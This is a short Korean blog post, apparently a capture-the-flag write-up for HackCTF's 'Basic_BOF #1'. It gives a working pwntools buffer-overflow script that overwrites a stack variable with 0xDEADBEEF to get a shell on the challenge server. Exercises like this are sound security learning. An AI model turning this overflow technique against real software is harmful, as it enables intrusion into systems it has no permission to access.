본문 바로가기

HackCTF/pwnable

Hackctf - Basic_BOF #1

 

 

fgets에서 오버플로우가 발생하고 v5를 0xDEADBEEF로 바꾸면 쉘이 실행되는 간단한 문제이다

 

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3000)

payload = 'A'*40
payload += p32(0xdeadbeef)

r.sendline(payload)

r.interactive()

 

'HackCTF > pwnable' 카테고리의 다른 글

HackCTF - x64 Simple_size_BOF  (0) 2021.11.21
HackCTF - x64 Buffer Overflow  (0) 2021.11.21
HackCTF - 내 버퍼가 흘러넘친다!!!  (0) 2021.11.20
HackCTF - Basic_FSB  (0) 2021.11.20
HackCTF - Basic_BOF #2  (0) 2021.11.20